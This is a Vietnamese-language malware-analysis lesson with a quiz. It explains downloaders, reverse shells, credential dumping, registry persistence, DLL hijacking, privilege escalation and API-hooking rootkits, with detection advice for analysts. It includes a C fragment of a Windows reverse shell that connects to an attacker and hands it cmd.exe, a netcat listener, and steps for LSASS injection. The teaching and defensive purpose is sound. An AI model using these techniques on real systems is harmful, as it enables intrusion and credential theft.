Bài 5: Malware Behavior¤
1. Downloaders & Launchers¤
Hai loại malware đầu tiên trong chuỗi tấn công — chúng không phải "vũ khí chính" mà là cửa ngõ đưa vũ khí vào hệ thống.
Khái niệm & lý thuyết¤
- Downloader: Malware tải thêm malware khác từ internet về máy nạn nhân rồi thực thi. Thường dùng Windows API
URLDownloadToFileA+WinExec. - Launcher (Loader): Chuẩn bị và thực thi malware đã có sẵn — có thể ngay lập tức hoặc theo điều kiện. Thường giấu payload trong vùng ít ngờ tới như section
.rsrccủa PE file, dùng API:FindResource,LoadResource,SizeofResource. - Staged payload: Dropper nhỏ → beacon về C2 → tải Stage 2 vào memory. Ưu điểm: payload chính không lưu trên disk.
- Stageless payload: Toàn bộ shellcode/payload nằm trong file ban đầu. Đơn giản hơn, dễ phát hiện hơn.
Cách hoạt động / Luồng xử lý¤
sequenceDiagram
participant A as Attacker (C2)
participant D as Dropper (trên máy nạn nhân)
participant V as Victim Machine
Note over V: Nạn nhân chạy dropper
D->>A: Beacon: "Tôi đây, cho Stage 2"
A->>D: Gửi Stage 2 (encrypted shellcode)
D->>V: Inject Stage 2 vào memory
V->>A: Reverse shell established
Loader ngày nay
Sau khi Microsoft siết chặt Office macros, loader thường đến qua: file ISO chứa LNK + DLL, file ZIP, HTML Application (HTA), hoặc LOLBins như rundll32.exe, regsvr32.exe, mshta.exe.
Ví dụ thực tế & Analogy¤
Ví dụ thực tế: CoffeeLoader — loader hiện đại dùng kỹ thuật "call stack spoofing" để né AV, tải Rhadamanthys stealer vào memory mà không ghi xuống disk.
Analogy: Downloader giống người giao hàng — bản thân họ vô hại, nhưng kiện hàng họ mang đến mới là vấn đề. Staged payload giống giao hàng theo nhiều chuyến: chuyến 1 giao địa chỉ kho, chuyến 2 mới giao vũ khí thật.
⚠️ Điểm hay gặp sai / Cần lưu ý¤
Nhầm lẫn thường gặp
Nhiều người nghĩ "file nhỏ = ít nguy hiểm". Sai! Downloader chỉ vài KB nhưng có thể kéo về ransomware hàng MB. Kích thước file không liên quan đến mức độ nguy hiểm.
Staged vs Stageless trong forensics
Staged payload không để lại dấu vết trên disk (chạy in-memory) → khó phát hiện qua antivirus truyền thống. Cần memory forensics (Volatility, etc.).
Câu hỏi thực tế¤
- Bạn phân tích một file
.lnkđáng ngờ trong email. File này gọimshta.exevới một URL. Đây là loại malware gì? Bước tiếp theo của bạn là gì? - IDS cảnh báo một máy trong mạng nội bộ đang kết nối ra ngoài theo chu kỳ đều đặn 60 giây. Điều này gợi ý điều gì về loại payload đang chạy?
💡 Chốt nhanh: Downloader tải malware về, Launcher thực thi nó. Staged payload nguy hiểm hơn vì chạy hoàn toàn trong memory, không ghi file xuống disk.
2. Backdoors & Reverse Shells¤
Sau khi xâm nhập, attacker cần duy trì quyền điều khiển — đó là nhiệm vụ của backdoor.
Khái niệm & lý thuyết¤
- Backdoor: Cung cấp remote access tới máy nạn nhân. Là loại malware phổ biến nhất. Thường giao tiếp qua HTTP port 80 để lẫn vào traffic hợp lệ.
- Reverse Shell: Máy nạn nhân chủ động kết nối ra phía attacker (không phải attacker kết nối vào). Vượt qua firewall vì chiều kết nối từ trong ra ngoài thường được cho phép.
- RAT (Remote Administration Tool): Backdoor nâng cao với nhiều chức năng: chụp màn hình, keylog, upload/download file, lateral movement. Giao tiếp qua port 80/443.
- Botnet: Mạng lưới hàng ngàn máy bị kiểm soát đồng thời bởi C2 server. Dùng cho DDoS, spam, phát tán malware hàng loạt.
So sánh RAT vs Botnet¤
| Tiêu chí | RAT | Botnet |
|---|---|---|
| Số máy bị kiểm soát | Ít (targeted) | Rất nhiều (mass) |
| Điều khiển | Từng máy một | Tất cả cùng lúc |
| Mục tiêu | Đánh cắp thông tin | DDoS, spam |
| Ví dụ | Cobalt Strike, njRAT | Mirai, Zeus |
Cách hoạt động — Windows Reverse Shell¤
sequenceDiagram
participant V as Victim (cmd.exe)
participant S as Socket
participant A as Attacker (nc -l -p 80)
A->>A: Lắng nghe: nc -l -p 80
V->>S: Tạo socket → connect(attacker_ip, 80)
V->>V: CreateProcess("cmd.exe") với STARTUPINFO
Note over V: hStdInput = hStdOutput = hStdError = Socket
S-->>A: Shell session established
A->>V: whoami, ipconfig...
V-->>A: Trả kết quả qua socket
Hai kiểu implement trên Windows:
// Tạo socket → kết nối attacker
SOCKET theSocket = socket(...);
connect(theSocket, &conaddr, ...);
// Gán socket vào stdin/stdout/stderr của cmd.exe
startupInfo.hStdInput = startupInfo.hStdOutput
= startupInfo.hStdError
= (HANDLE)theSocket;
// Spawn cmd.exe ẩn
CreateProcessA(NULL, "cmd.exe", ..., &startupInfo, ...);
Ví dụ thực tế & Analogy¤
Ví dụ: Netcat reverse shell cổ điển:
Analogy: Reverse shell giống nhân viên bí mật tự gọi về tổng hành dinh để nhận lệnh, thay vì để tổng hành dinh gọi vào (dễ bị chặn bởi firewall công ty).
⚠️ Điểm hay gặp sai / Cần lưu ý¤
Phát hiện Multithreaded Reverse Shell
Với multithreaded, data có thể bị encode trước khi truyền qua socket. Nếu bắt được network traffic mà thấy dữ liệu không phải text rõ, cần reverse engineer routine encode/decode trong 2 thread đó.
Dấu hiệu nhận biết
Tìm CreateProcess + STARTF_USESTDHANDLES + socket creation trong cùng một flow → rất có khả năng là reverse shell.
Câu hỏi thực tế¤
- Bạn phân tích malware thấy
CreatePipe,CreateThread,CreateProcess, vàWSAConnectđược gọi liên tiếp. Đây là kiểu reverse shell gì? Tại sao attacker chọn kiểu này? - Firewall công ty chặn mọi kết nối inbound nhưng không chặn outbound. Loại shell nào sẽ hoạt động được? Tại sao?
💡 Chốt nhanh: Reverse shell cho phép attacker điều khiển máy nạn nhân bằng cách để victim chủ động kết nối ra — vượt qua firewall. RAT = backdoor nâng cao, Botnet = điều khiển hàng loạt.
3. Credential Stealers¤
Mục tiêu cuối cùng của nhiều cuộc tấn công: lấy được mật khẩu.
Khái niệm & lý thuyết¤
3 phương thức đánh cắp credential:
- Chờ user đăng nhập rồi bắt credential (GINA Interception)
- Dump dữ liệu đã lưu: SAM file, LSASS memory, NTDS.dit
- Keylogging: ghi lại phím gõ
Các nguồn credential trên Windows (theo MITRE ATT&CK T1003):
| Sub-technique | Mô tả |
|---|---|
| T1003.001 LSASS Memory | Dump process lsass.exe lấy hash |
| T1003.002 SAM | Security Account Manager — lưu hash local user |
| T1003.003 NTDS | Active Directory database |
| T1003.004 LSA Secrets | Cached service account credentials |
| T1003.005 Cached Domain Credentials | Domain credentials cache |
Cách hoạt động — GINA Interception¤
sequenceDiagram
participant W as winlogon.exe
participant F as fsgina.dll (malicious)
participant M as msgina.dll (legitimate)
W->>F: Gọi WlxLoggedOutSAS() (user vừa nhập pass)
F->>F: Log credentials → tcpudp.sys (hoặc gửi qua network)
F->>M: Forward call → msgina.dll (hoạt động bình thường)
M-->>W: Return result
Note over W: User không biết password đã bị đánh cắp
Registry key cần kiểm tra:
Cách hoạt động — Pwdump (Hash Dumping)¤
flowchart LR
A[pwdump.exe] -->|Inject| B[lsaext.dll → lsass.exe]
B -->|Load| C[samsrv.dll]
B -->|Load| D[advapi32.dll]
C -->|SamIGetPrivateData| E[Raw hashes - encrypted]
D -->|SystemFunction025/027| F[Decrypted NTLM hashes]
F --> G[Pass-the-Hash hoặc Offline crack]
Keystroke Logging¤
flowchart TD
A{Phương pháp Keylogging} --> B[Kernel-based]
A --> C[User-space]
C --> D[Hooking: SetWindowsHookEx]
C --> E[Polling: GetAsyncKeyState + GetForegroundWindow]
D -->|Event-driven| F[Callback khi có phím nhấn]
E -->|Loop| G[Kiểm tra 256 virtual keys liên tục]
Dấu hiệu nhận biết keylogger trong strings listing:
→ Đây là các label cho special keys mà keylogger dùng để format output.Ví dụ thực tế & Analogy¤
Ví dụ — Katz Stealer (2024): Đánh cắp từ 78+ browser variants, inject DLL vào browser process qua CreateRemoteThread, bypass Chrome Application Bound Encryption. Với Firefox: lấy thẳng file cookies.sqlite, logins.json, key4.db.
Analogy: GINA Interception như đặt máy photocopy bí mật giữa két sắt và người bảo vệ — mọi chìa khóa đưa qua đều bị copy trước khi đến đích.
⚠️ Điểm hay gặp sai / Cần lưu ý¤
GINA chỉ có trên Windows XP
GINA (msgina.dll) tồn tại trên Windows XP. Từ Vista trở đi, Windows dùng Credential Providers — cơ chế khác, attack surface khác. Đừng nhầm lẫn khi phân tích malware target Windows hiện đại.
Dấu hiệu GINA interceptor
Một DLL export nhiều hàm bắt đầu bằng Wlx (>15 hàm) → rất có khả năng là GINA interceptor. Check ngay registry key GinaDLL.
Câu hỏi thực tế¤
- Bạn tìm thấy một DLL không rõ nguồn gốc với 20 exported functions, hầu hết bắt đầu bằng
Wlx. Registry keyGinaDLLtrỏ đến DLL này. Đây là loại malware gì và nó làm gì? - Một máy Windows 10 bị nhiễm malware. Bạn thấy process
lsass.exebị một process lạ inject DLL vào. Tool nào đã được tái sử dụng ở đây, và hash thu được dùng để làm gì?
💡 Chốt nhanh: Credential stealers tấn công theo 3 hướng: bắt lúc nhập (GINA/keylog), lấy từ memory (LSASS/SAM), hoặc ghi phím. Hash dump không cần crack — dùng pass-the-hash là đủ để lateral movement.
4. Persistence Mechanisms¤
Malware muốn sống sót qua reboot — đây là các kỹ thuật để làm điều đó.
Khái niệm & lý thuyết¤
Persistence = cơ chế đảm bảo malware tự khởi động lại khi hệ thống reboot hoặc user đăng nhập.
5 kỹ thuật persistence phổ biến:
| Kỹ thuật | Registry Key | Ghi chú |
|---|---|---|
| Run Key | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Phổ biến nhất, dễ detect |
| AppInit_DLLs | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows |
Load vào mọi process dùng User32.dll |
| Winlogon Notify | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
Hook vào sự kiện logon/logoff |
| SvcHost DLL | HKLM\SYSTEM\CurrentControlSet\Services\[Name] |
Chạy như Windows Service |
| Scheduled Task | Task Scheduler | Phổ biến nhất theo dữ liệu Elastic 2024 |
Cách hoạt động — SvcHost DLL Persistence¤
flowchart TD
A[svchost.exe -k netsvcs] -->|Registry lookup| B[HKLM\...\Svchost\netsvcs]
B -->|Tìm service| C[HKLM\...\Services\MaliciousSvc]
C -->|Parameters\ServiceDLL| D[C:\Windows\malware.dll]
D -->|Load & Execute| E[Malicious code chạy trong svchost.exe]
style D fill:#ff6b6b
style E fill:#ff6b6b
Tại sao SvcHost là mục tiêu?
- Luôn có nhiều instance svchost.exe chạy → khó phát hiện process lạ
- Chạy với quyền cao (SYSTEM hoặc LocalSystem)
- Malware ẩn mình vào group netsvcs — group đông nhất, ít ai kiểm tra
Trojanized System Binary¤
flowchart LR
A[rtutils.dll gốc] -->|Malware patch bytes| B[rtutils.dll bị trojanized]
B -->|Entry point bị thay| C[JMP → DllEntryPoint_0]
C -->|Thực thi code độc hại| D[Malicious payload]
D -->|JMP back| E[DllEntryPoint gốc]
E -->|DLL hoạt động bình thường| F[Hệ thống không phát hiện]
DLL Load-Order Hijacking¤
Search order mặc định của Windows XP:
1. Thư mục của application (VD: C:\Windows\)
2. Current directory
3. System directory (C:\Windows\System32\)
4. 16-bit system directory (C:\Windows\System\)
5. Windows directory (C:\Windows\)
6. PATH environment variable
Khai thác: explorer.exe nằm ở C:\Windows\ và load ntshrui.dll từ System32. Vì ntshrui.dll không trong KnownDLLs, Windows tìm từ đầu → đặt malicious ntshrui.dll vào C:\Windows\ là xong!
Ví dụ thực tế & Analogy¤
Ví dụ thực tế (2024 data từ Elastic): Scheduled Task (21.289 alerts) và Registry Run Keys (14.355 alerts) là 2 persistence technique phổ biến nhất trong thực tế.
Analogy — AppInit_DLLs: Như đặt gián điệp vào phòng tuyển dụng — mọi nhân viên mới (process mới load User32.dll) đều bị "nhiễm" gián điệp này ngay từ lúc vào làm.
Analogy — DLL Hijacking: Như giả mạo tên nhà cung cấp đáng tin cậy — khi công ty (application) tìm nhà cung cấp (DLL), kẻ giả mạo đứng gần cửa hơn (search order ưu tiên) nên được chọn trước.
⚠️ Điểm hay gặp sai / Cần lưu ý¤
KnownDLLs không bảo vệ hoàn toàn
Dù DLL nằm trong KnownDLLs, nếu DLL đó load thêm DLL khác, các DLL phụ thuộc này vẫn theo default search order → vẫn có thể bị hijack.
Công cụ phát hiện persistence
- Autoruns (Sysinternals): Liệt kê tất cả auto-start locations
- ProcMon: Monitor real-time registry modifications
- Process Explorer: Xem ServiceDLL của từng svchost instance
Winlogon Notify = persistence kể cả Safe Mode
Đây là điểm đặc biệt nguy hiểm — malware hook vào Winlogon event có thể boot cùng Safe Mode, vô hiệu hóa cách recovery thông thường.
Câu hỏi thực tế¤
- Malware phân tích được thấy gọi
CreateServiceAvà ghi vàoHKLM\SYSTEM\CurrentControlSet\Services\. Bước tiếp theo để xác nhận persistence mechanism là gì? - Một DLL malware được đặt trong
C:\Users\Admin\Downloads\cùng với một ứng dụng legitimate. DLL này có tên trùng với một DLL trong System32. Kỹ thuật gì đang được dùng và điều kiện nào để nó hoạt động?
💡 Chốt nhanh: Persistence đảm bảo malware sống sót sau reboot. Registry Run Key là phổ biến nhất và dễ phát hiện nhất; SvcHost DLL và DLL Hijacking tinh vi hơn nhưng để lại dấu vết có thể trace được.
5. Privilege Escalation¤
Malware cần leo thang đặc quyền để làm những việc không được phép ở user level.
Khái niệm & lý thuyết¤
Chuỗi đặc quyền Windows:
- SeDebugPrivilege: Đặc quyền dành cho debugger, cho phép Administrator leo lên System. Malware dùng để gọi
CreateRemoteThread,TerminateProcesstrên process của system. - Token Manipulation: Impersonate token của process có quyền cao hơn.
- DLL Hijacking for PrivEsc: Đặt DLL độc hại vào path được search bởi process chạy với quyền cao hơn.
Cách hoạt động — SeDebugPrivilege¤
sequenceDiagram
participant M as Malware (Admin)
participant OS as Windows API
M->>OS: GetCurrentProcess()
M->>OS: OpenProcessToken(TOKEN_ADJUST_PRIVILEGES)
M->>OS: LookupPrivilegeValue("SeDebugPrivilege")
M->>OS: AdjustTokenPrivileges(SE_PRIVILEGE_ENABLED)
Note over M: Bây giờ có thể thao tác process SYSTEM-level
M->>OS: OpenProcess(lsass.exe)
M->>OS: CreateRemoteThread → inject DLL
Ví dụ thực tế & Analogy¤
Ví dụ (Elastic 2024): Token Impersonation/Theft (150.845 alerts) là sub-technique phổ biến nhất. Malware steal token của TrustedInstaller (150.697 alerts) để có quyền cao nhất.
Analogy: SeDebugPrivilege như thẻ "kỹ thuật viên bảo trì" tại khách sạn — bạn là nhân viên thường (Admin) nhưng với thẻ này bạn được mở mọi cửa phòng (System processes).
⚠️ Điểm hay gặp sai / Cần lưu ý¤
Phân biệt Admin vs System
Nhiều sinh viên nghĩ Admin là cao nhất. Sai — SYSTEM cao hơn Admin. Đây là lý do malware cần SeDebugPrivilege dù đã chạy với quyền Admin.
💡 Chốt nhanh: SeDebugPrivilege là cầu nối từ Administrator lên SYSTEM. Hầu hết kỹ thuật credential dumping (inject vào lsass.exe) đều cần bước này trước.
6. User-Mode Rootkits (Covering Tracks)¤
Sau khi làm xong, malware cần xóa dấu vết và ẩn sự hiện diện.
Khái niệm & lý thuyết¤
- Rootkit: Che giấu sự tồn tại của malware (process, file, network connection, registry key).
- User-mode rootkit: Hoạt động ở ring 3 — hook Windows API để trả về kết quả giả.
- IAT Hooking: Thay địa chỉ hàm trong Import Address Table của process bằng địa chỉ malicious code.
- Inline Hooking: Ghi đè trực tiếp vài byte đầu của hàm API trong DLL bằng lệnh
JMPtrỏ đến malicious code.
Cách hoạt động — IAT vs Inline Hooking¤
flowchart LR
subgraph "Normal Flow"
A1[app.exe] -->|"call TerminateProcess"| B1[IAT entry: 0x7C801B0E]
B1 --> C1[kernel32.dll TerminateProcess]
end
subgraph "IAT Hooked"
A2[app.exe] -->|"call TerminateProcess"| B2[IAT entry: 0x34200000 ← bị thay]
B2 --> C2[Rootkit code]
C2 -->|Nếu muốn| D2[kernel32.dll TerminateProcess]
end
subgraph "Inline Hooked"
A3[app.exe] --> B3[kernel32.dll TerminateProcess]
B3 -->|"5 bytes đầu bị patch: JMP 0x34200000"| C3[Rootkit code]
C3 --> D3[Phần còn lại của TerminateProcess]
end
So sánh:
| IAT Hooking | Inline Hooking | |
|---|---|---|
| Đối tượng thay đổi | Con trỏ trong IAT | Code bytes trong DLL |
| Phạm vi ảnh hưởng | Chỉ process đó | Tất cả process dùng DLL |
| Khó detect hơn | ❌ | ✅ |
Ví dụ thực tế & Analogy¤
Ví dụ: Rootkit hook NtQueryDirectoryFile → khi Task Manager hoặc antivirus gọi hàm này để list process/file, rootkit lọc bỏ entries của malware trước khi trả về.
Analogy — IAT Hooking: Như thay số điện thoại trong danh bạ — khi ai gọi cho "Bộ phận bảo mật" (TerminateProcess), thực ra kết nối đến "Kẻ tấn công" (rootkit code) thay vì đích thật.
Analogy — Inline Hooking: Như chặn trực tiếp ở cửa nhà — dù ai có số điện thoại đúng, kẻ chặn vẫn đứng trước cửa nhà đó để kiểm soát ai vào ra.
⚠️ Điểm hay gặp sai / Cần lưu ý¤
Kernel rootkit vs User-mode rootkit
User-mode rootkit có thể bị phát hiện bằng cách so sánh kết quả API với syscall trực tiếp. Kernel rootkit (ring 0) mạnh hơn nhiều — can thiệp vào SSDT, DKOM. Chương này chỉ bàn user-mode.
💡 Chốt nhanh: User-mode rootkit hook Windows API để ẩn file/process/connection. IAT hooking thay pointer, Inline hooking thay code bytes. Cả hai đều làm thay đổi "sự thật" mà OS trả về cho các tool kiểm tra.
📝 Quiz — Malware Behavior¤
Tầng 1 — Ghi nhớ¤
Câu 1. Windows API nào thường được Downloader dùng để tải file từ internet?
-
URLDownloadToFileAkết hợpWinExec -
CreateProcessAkết hợpLoadLibrary -
FindResourcekết hợpLoadResource -
WinHTTPkết hợpWriteFile
Giải thích
Downloader dùng URLDownloadToFileA (từ urlmon.dll) để tải file về, sau đó WinExec để chạy file đó. FindResource/LoadResource là của Launcher khi lấy payload từ .rsrc section.
Câu 2. Section nào trong PE file thường được Launcher dùng để giấu payload?
-
.rsrc(resource section) -
.text(code section) -
.data(data section) -
.reloc(relocation section)
Giải thích
.rsrc section chứa resources (icon, string, dialog) — nơi ít bị kiểm tra và có thể nhồi binary payload. Launcher dùng FindResource, LoadResource, SizeofResource để extract payload từ đây.
Câu 3. Backdoor thường giao tiếp qua port nào để lẫn vào traffic hợp lệ?
- Port 80 (HTTP)
- Port 22 (SSH)
- Port 3389 (RDP)
- Port 445 (SMB)
Giải thích
Port 80 (HTTP) và 443 (HTTPS) là traffic hợp lệ phổ biến nhất — firewall thường không chặn. Điều này giúp backdoor/C2 communication không bị phát hiện.
Câu 4. Điểm khác biệt chính giữa RAT và Botnet là gì?
- RAT dùng cho tấn công có chủ đích (ít máy), Botnet dùng cho tấn công hàng loạt (nhiều máy)
- RAT chạy trên Windows, Botnet chạy trên Linux
- RAT dùng TCP, Botnet dùng UDP
- RAT cần user interaction, Botnet hoạt động tự động
Giải thích
RAT (Remote Administration Tool) được thiết kế để kiểm soát chi tiết từng máy trong targeted attack. Botnet kiểm soát hàng nghìn máy đồng thời cho các mục đích như DDoS, spam.
Câu 5. API nào được Pwdump dùng để decrypt password hash từ SAM?
-
SystemFunction025vàSystemFunction027 -
CryptDecryptvàCryptImportKey -
BCryptDecryptvàBCryptOpenAlgorithmProvider -
LsaRetrievePrivateDatavàLsaStorePrivateData
Giải thích
Pwdump variant dùng các undocumented function SystemFunction025 và SystemFunction027 từ advapi32.dll để decrypt hash. Đây là dấu hiệu đặc trưng khi phân tích malware nghi ngờ là hash dumper.
Câu 6. Registry key nào chứa GinaDLL và bị malware lợi dụng để intercept credentials?
-
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL -
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -
HKLM\SYSTEM\CurrentControlSet\Services -
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
Giải thích
WinLogon đọc key GinaDLL để load DLL xử lý authentication. Malware đặt DLL độc hại vào đây để "man-in-the-middle" toàn bộ quá trình đăng nhập.
Câu 7. Kỹ thuật keylogging nào dùng SetWindowsHookEx?
- Hooking (event-driven)
- Polling (loop-based)
- Kernel-based
- Memory scraping
Giải thích
SetWindowsHookEx với WH_KEYBOARD hoặc WH_KEYBOARD_LL đăng ký callback được gọi mỗi khi có phím được nhấn — đây là phương pháp hooking. Polling dùng vòng lặp với GetAsyncKeyState.
Câu 8. AppInit_DLLs được load vào process nào?
- Mọi process load User32.dll
- Chỉ process chạy với quyền SYSTEM
- Chỉ process trong nhóm svchost
- Mọi process khởi động từ HKLM...\Run
Giải thích
AppInit_DLLs được User32.dll load khi nó được khởi tạo. Vì hầu hết ứng dụng GUI đều dùng User32.dll, đây là cách inject DLL vào gần như mọi process trên hệ thống.
Tầng 2 — Hiểu & Phân tích¤
Câu 9. Tại sao Staged payload khó phát hiện hơn Stageless payload?
- Stage 2 chạy hoàn toàn trong memory, không ghi file xuống disk nên AV truyền thống không scan được
- Staged payload nhỏ hơn nên AV bỏ qua
- Stage 2 được encrypt nên không bị detect
- Staged payload không dùng network nên IDS không phát hiện
Giải thích
AV truyền thống scan file trên disk. Staged payload chỉ để dropper nhỏ trên disk — Stage 2 được inject thẳng vào memory. Cần memory forensics (Volatility) hoặc behavioral detection để phát hiện.
Câu 10. Phân tích một DLL đáng ngờ, bạn thấy nó export hơn 15 hàm có tên bắt đầu bằng Wlx. Kết luận nào phù hợp nhất?
- Đây là GINA interceptor — DLL này giả mạo msgina.dll để bắt credentials
- Đây là keylogger dùng SetWindowsHookEx
- Đây là SvcHost DLL persistence mechanism
- Đây là IAT hooking rootkit
Giải thích
msgina.dll export các hàm dạng WlxLogon, WlxLogoff, WlxLoggedOutSAS... GINA interceptor phải export đúng các hàm này để đứng giữa WinLogon và msgina.dll thật. Đây là dấu hiệu đặc trưng.
Câu 11. Sự khác biệt giữa IAT Hooking và Inline Hooking là gì?
- IAT Hooking thay con trỏ hàm trong bảng import; Inline Hooking ghi đè byte code trực tiếp trong DLL
- IAT Hooking chỉ hoạt động với kernel, Inline Hooking ở user space
- IAT Hooking cần quyền SYSTEM, Inline Hooking chỉ cần Admin
- Không có sự khác biệt, cả hai đều sửa Import Address Table
Giải thích
IAT Hooking sửa pointer trong IAT của một process cụ thể — dễ detect bằng cách so sánh IAT với địa chỉ thật trong DLL. Inline Hooking sửa code bytes trong DLL (thường 5 byte đầu thay bằng JMP) — ảnh hưởng mọi process, khó detect hơn.
Câu 12. Tại sao malware cần SeDebugPrivilege dù đã chạy với quyền Administrator?
- Vì các hàm như
CreateRemoteThread,TerminateProcesstrên SYSTEM processes yêu cầu đặc quyền cao hơn Administrator - Vì Administrator không thể đọc registry
- Vì SeDebugPrivilege cho phép bypass UAC
- Vì Administrator không thể tạo file trong System32
Giải thích
Trên Windows, SYSTEM > Administrator. Để thao tác với process chạy dưới SYSTEM (như lsass.exe), cần SeDebugPrivilege — đặc quyền này cho phép Admin "elevate" để access process của SYSTEM.
Câu 13. DLL Load-Order Hijacking KHÔNG thể áp dụng trong trường hợp nào?
- DLL nằm trong danh sách KnownDLLs và process cũng nằm trong System32
- DLL nằm trong PATH environment variable
- Application chạy từ Desktop của user
- DLL không có digital signature
Giải thích
DLL Hijacking chỉ hiệu quả khi: process KHÔNG ở System32 VÀ DLL target KHÔNG trong KnownDLLs. Nếu cả hai điều kiện đều thỏa mãn (DLL được KnownDLLs bảo vệ), Windows load thẳng từ registry path, bỏ qua search order.
Câu 14. Tại sao Winlogon Notify nguy hiểm hơn Run Key trong persistence?
- Winlogon Notify có thể load trong Safe Mode, còn Run Key thường bị bỏ qua khi boot Safe Mode
- Winlogon Notify không thể bị Autoruns detect
- Winlogon Notify chạy với quyền cao hơn
- Winlogon Notify không cần ghi vào registry
Giải thích
Safe Mode là chế độ thường dùng để remove malware. Run Key không chạy trong Safe Mode. Nhưng Winlogon Notify hook vào event của winlogon.exe — process này chạy ngay cả trong Safe Mode → malware vẫn khởi động được.
Tầng 3 — Vận dụng¤
Câu 15. Trong một cuộc điều tra incident response, bạn phát hiện: lsass.exe có một DLL lạ được inject vào; DLL đó export hàm GetHash; và có file lsaext.dll trong thư mục temp. Bạn kết luận gì và bước tiếp theo là gì?
- Đây là Pwdump hoặc variant — attacker đã dump NTLM hashes. Cần kiểm tra network traffic để xem hashes có bị exfiltrate không, và reset password toàn bộ user bị ảnh hưởng.
- Đây là keylogger — cần kiểm tra file log trong temp folder.
- Đây là reverse shell — cần check firewall logs cho outbound connections.
- Đây là GINA interceptor — kiểm tra registry key GinaDLL.
Giải thích
lsaext.dll inject vào lsass.exe với export function GetHash là đặc trưng của Pwdump. Hashes NTLM có thể dùng trực tiếp cho pass-the-hash attack mà không cần crack. Ưu tiên: kiểm tra lateral movement và reset credentials.
Câu 16. Một tổ chức phát hiện traffic HTTP bất thường từ máy nhân viên ra internet với pattern: cứ 60 giây có một request nhỏ (~200 bytes) đến cùng một IP, sau đó có response ~500 bytes. Đây là dấu hiệu của loại malware nào, và kỹ thuật giao tiếp gì?
- C2 beaconing của RAT/backdoor — máy nạn nhân gửi "heartbeat" định kỳ về C2 server để nhận lệnh, giao tiếp qua HTTP port 80 để tránh bị chặn
- DDoS botnet đang tấn công target
- Downloader đang tải payload về theo giai đoạn
- Keylogger đang gửi log keystroke về attacker
Giải thích
Pattern "small request → small response" theo chu kỳ đều đặn là dấu hiệu điển hình của C2 beaconing. Máy nạn nhân hỏi "có lệnh gì không?" định kỳ. Giao tiếp HTTP port 80 để lẫn vào web traffic hợp lệ. Cần block IP đó và isolate máy ngay.
Câu 17. Bạn đang phân tích malware và thấy nó: (1) gọi OpenProcessToken → LookupPrivilegeValue("SeDebugPrivilege") → AdjustTokenPrivileges; (2) sau đó gọi OpenProcess trên PID của lsass.exe; (3) cuối cùng gọi CreateRemoteThread. Toàn bộ chuỗi này thực hiện gì?
- Leo thang đặc quyền lên SYSTEM → mở LSASS process → inject DLL để dump credentials
- Tạo persistence thông qua remote thread injection vào LSASS
- Cài keylogger vào LSASS để bắt password khi user đăng nhập
- Thiết lập reverse shell thông qua LSASS process
Giải thích
Đây là chuỗi 3 bước kinh điển của credential dumper: (1) Dùng SeDebugPrivilege để nâng đặc quyền Admin → SYSTEM; (2) OpenProcess(lsass.exe) có được quyền SYSTEM; (3) CreateRemoteThread inject DLL (như lsaext.dll) để chạy trong context của lsass.exe và extract hash.